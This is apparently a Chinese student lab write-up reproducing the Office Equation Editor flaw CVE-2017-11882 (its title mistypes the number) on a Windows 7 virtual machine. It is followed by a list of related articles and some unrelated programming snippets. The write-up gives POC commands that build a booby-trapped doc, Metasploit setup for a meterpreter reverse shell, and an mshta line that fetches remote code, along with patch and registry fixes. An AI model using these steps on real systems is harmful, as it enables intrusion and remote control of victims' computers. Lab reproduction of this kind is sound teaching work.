CVE-20117-111882漏洞复现及利用
背景
工程实践题目:
渗透方向:实验班要求
1、利用已有的漏洞,搭建内网实验环境(WEB漏洞或系统漏洞以近两年内的CVE编号为准,每人一个,先报先得,具体由学习委员负责协调),利用工具进行内网渗透攻击。
2、要求必须用到端口转发方面的知识。
3、上交调试好的环境(VMware格式)、完整的渗透测试报告(包括环详细的境搭建文档、脚本分析文档、渗透攻击过程)、和教学实习报告。
漏洞影响版本
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
实验环境
攻击靶机:kali 2.0 IP:192.168.79.129 Metasploit
目标靶机:Windows7 IP: 192.168.79.128 Microsoft Office 2013
需要准备的文件
[CVE-2017-11882的POC](https://github.com/Ridter/CVE-2017-11882/)
[PS_shell.rb]
[Office 2013]
漏洞验证
使用POC文件执行以下命令生成测试doc文件:
python Command43b_CVE-2017-11882.py -c “cmd.exe /c calc.exe” -o test.doc
将生成的doc文件发送至目标主机直接打开,弹出计算器即漏洞验证成功,可进一步利用

漏洞利用
配合kali2.0 meterpreter 接收目标靶机反弹的shell
下载模块
下载PS_shell.rb,将该文件放在kali 的/usr/share/metasploit-framework/modules/exploits/windows/shells/目录下,输入msfconsole启动metasploit,然后执行reload_all重新加载一下所有模块。



使用模块

命令如下:
use exploit/windows/shells/PS_shellset payload windows/meterpreter/reverse_tcpset lhost 192.168.79.129set uripath abc
开启监听

命令:
exploit
反弹shell
使用POC生成新的测试doc文件,在目标靶机中打开生成的doc文件,目标靶机正常上线。
python Command109b_CVE-2017-11882.py -c “mshta http://192.168.79.129:8080/abc“ -o test2.doc


输入session可以查看到接收到的shell

选择sessions 1并获取目标靶机信息



漏洞修复
1、微软已经对此漏洞做出了修复。
(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
(2)开启Windows Update功能,定期对系统进行自动更新
2、在注册表中禁用该漏洞模块:
按下Win+R组合键,打开cmd.exe
输入以下两条命令:
reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400
相关链接:
http://zksmile.me/2017/11/28/CVE-2017-11882/
http://www.myh0st.cn/index.php/archives/329/
END
CVE-20117-111882漏洞复现及利用的更多相关文章
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- CVE-2017-8759 微软word漏洞复现以及利用
CVE-2017-8759 微软word漏洞复现以及利用 0x00 漏洞描述 近日,360集团核心安全事业部分析团队发现一个新型的Office文档高级威胁攻击,攻击使用了9月12日补丁刚修复的.NET ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- struts2(s2-052)远程命令执行漏洞复现
漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...
- 8.Struts2-057漏洞复现
漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...
- Winrar漏洞复现(CVE-2018-20250)
本文讲的是Winrar漏洞利用脚本的使用方法,至于Winrar漏洞的原理,请移步--> Winrar目录穿越漏洞复现 本次利用脚本出处--> https://github.com/back ...
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- Weblogic CVE-2020-2551漏洞复现&CS实战利用
Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...
随机推荐
- MyBatis学习笔记一:MyBatis最简单的环境搭建
MyBatis的最简单环境的搭建,使用xml配置,用来理解后面的复杂配置做基础 1.环境目录树(导入mybatis-3.4.1.jar包即可,这里是为后面的环境最准备使用了web项目,如果只是做 my ...
- ES6-Set与Map数据结构
Set 实例的属性和方法 Set类似与数组,但是成员值唯一没有重复! let arr = [3, 5, 2, 2, 5, 5]; let unique = [...new Set(arr)]; // ...
- bind(this)作用
.bind()创建了一个函数,当这个函数在被调用的时候,它的 this 关键词会被设置成被传入的值(这里指调用bind()时传入的参数
- DEBUG -- CLOSE BY CLIENT STACK TRACE问题的两种解决方案,整理自网络
1.DEBUG -- CLOSE BY CLIENT STACK TRACE 最近用c3p0遇到各种奇怪的问题,也不知道是它不行还是我不行. 今天又遇到了一个"DEBUG -- CLOSE ...
- Rails工程实战记录
项目git:https://github.com/yixiaoyang/ruby 为熟悉Rails的基本特性创建的工程,本博文仅作更新记录. (1)2013.10.1-2013.10.5 Ruby基本 ...
- Win10+WSL2+Ubuntu 18.04(WSL下)+VS Code(Win10下)+TexLive 2019(Ubuntu下)安装和配置
本人手头电脑是Win10 Home版全新安装的系统,由于不想在新系统盘里面安装TexLive导致固态硬盘不断扩大,所以,考虑安装Ubuntu做为WSL,然后把TexLive安装在Ubuntu,并通过V ...
- in和exists比较
in是把外表和内表作hash 连接,而exists 是对外表作loop 循环,每次loop 循环再对内表进行查询. 一直以来认为exists 比in 效率高的说法是不准确的.如果查询的两个表大小相当, ...
- Java入门教程七(数组)
数组是最常见的一种数据结构,它是相同类型的用一个标识符封装到一起的基本类型数据序列或者对象序列.数组使用一个统一的数组名和不同的下标来唯一确定数组中的元素.实质上,数组是一个简单的线性序列,因此访问速 ...
- 使用timeit测试Python函数的性能
timeit是Python标准库内置的小工具,可以快速测试小段代码的性能. 认识timeit timeit 函数: timeit.timeit(stmt, setup,timer, number) 参 ...
- js实现box(2)(3)这种调用方式的方法
box(2)(3)函数的调用方法有两种: 第一种: var box = function(num1){ return function(num2){ return num1+num2; }; }; a ...